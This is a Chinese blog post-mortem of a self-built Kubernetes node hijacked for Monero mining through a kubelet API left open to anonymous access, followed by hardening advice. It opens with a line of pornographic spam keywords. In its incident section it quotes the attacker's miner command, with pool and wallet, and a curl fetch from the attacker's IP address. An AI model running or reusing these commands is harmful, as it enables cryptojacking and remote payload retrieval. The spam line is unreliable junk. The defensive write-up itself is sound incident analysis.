.亚洲综合无码一区二区痴汉,欧美大b

[導(dǎo)讀]近期遇到了一次我們自建Kubernetes集群中某臺機器被入侵挖礦，后續(xù)也找到了原因，所幸只是用來挖礦…網(wǎng)絡(luò)安全是個嚴(yán)肅的問題，它總是在不經(jīng)意間出現(xiàn)，等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā)，去檢查及加固自己的集群。入侵現(xiàn)象檢查到某臺機器中出現(xiàn)了異常進程./.syst...

近期遇到了一次我們自建 Kubernetes 集群中某臺機器被入侵挖礦，后續(xù)也找到了原因，所幸只是用來挖礦…網(wǎng)絡(luò)安全是個嚴(yán)肅的問題，它總是在不經(jīng)意間出現(xiàn)，等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā)，去檢查及加固自己的集群。

入侵現(xiàn)象

檢查到某臺機器中出現(xiàn)了異常進程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm

curl -s http://45.9.148.35/scan_threads.dat

簡單來講，就是我們的機器被用來挖礦了…

問題出現(xiàn)后，我們第一時間關(guān)閉了docker，其實應(yīng)該隔離下環(huán)境, 把挖礦程序dump下來，以便后續(xù)分析。

具體原因排查

iptables為空

出現(xiàn)了異常進程，肯定是被入侵了，我首先看的是 iptables?。果不其然，機器上的 iptables 規(guī)則是空的，意味著這臺機器在裸奔。

kubelet裸奔

內(nèi)部同事提出了有可能是 kubelet 被入侵的問題，檢查過其他組件后，開始檢查 kubelet 組件

最后檢查到 kubelet 日志中有異常：

kubelet設(shè)置不當(dāng)

確認(rèn)入侵問題，kubelet 參數(shù)設(shè)置錯誤，允許直接訪問 kubelet 的 api

發(fā)現(xiàn)是 kubelet 的啟動項中，該位置被注釋掉：

然后文件中禁止匿名訪問的配置沒有讀取

該項配置是由于我操作不當(dāng)注釋掉的

由于是新增加的機器，當(dāng)晚就發(fā)現(xiàn)了問題，整個集群是我在管理的，我跟隨著一起排查，所以很快就找到了原因，當(dāng)晚我就把其他機器中的配置項重新掃了一遍，假如它們的防火墻失效了，也會有類似的入侵情況發(fā)生，還好此次事件控制在1臺機器中。

改進方案

其實該問題理論上講是可以避免的，是因為出現(xiàn)了多層漏洞才會被有心人掃到，我從外到內(nèi)整理了一下可能改進的策略。

機器防火墻設(shè)置，機器防火墻是整個系統(tǒng)最外層，即使機器的防火墻同步失敗，也不能默認(rèn)開放所有端口，而是應(yīng)該全部關(guān)閉，等待管理員連接到tty終端上檢查。
使用機器時，假如機器不是暴露給外部使用的，公網(wǎng)IP可有可無的時候，盡量不要有公網(wǎng)IP，我們的機器才上線1天就被掃描到了漏洞，可想而知，公網(wǎng)上是多么的危險
使用kubelet以及其他系統(tǒng)服務(wù)時，端口監(jiān)聽方面是不是該有所考量？能不能不監(jiān)聽 0.0.0.0，而是只監(jiān)聽本機的內(nèi)網(wǎng)IP。
使用kubelet以及其他程序，設(shè)計或是搭建系統(tǒng)時, 對于匿名訪問時的權(quán)限控制, 我們需要考慮到假如端口匿名會出現(xiàn)什么問題，是否應(yīng)該允許匿名訪問，如果不允許匿名訪問，那么怎么做一套鑒權(quán)系統(tǒng)?
系統(tǒng)管理員操作時，是否有一個比較規(guī)范化的流程，是不是該只使用腳本操作線上環(huán)境? 手動操作線上環(huán)境帶來的問題并不好排查和定位。
我這里不是拋出疑問，只是想告訴大家，考慮系統(tǒng)設(shè)計時，有必要考慮下安全性。

總結(jié)

發(fā)生了入侵事件后，同事開玩笑說，還好沒其他經(jīng)濟損失，要不我可能要回家了。作為集群的管理員，只有自己最清楚問題的嚴(yán)重程度。從本質(zhì)上來講，問題已經(jīng)相當(dāng)嚴(yán)重了。入侵者相當(dāng)于擁有了機器上docker的完整控制權(quán)限。如果讀者有讀過我關(guān)于docker系列的內(nèi)容，就對權(quán)限上了解清楚了。因為此次事件的發(fā)生，不只是我，還有SA的同學(xué)基本都被diao了一遍，心里還是有點難受的，希望大家能對網(wǎng)絡(luò)安全問題有所重視，從加固防火墻開始，避免監(jiān)聽不必要的端口，這兩項至少是最容易實現(xiàn)的。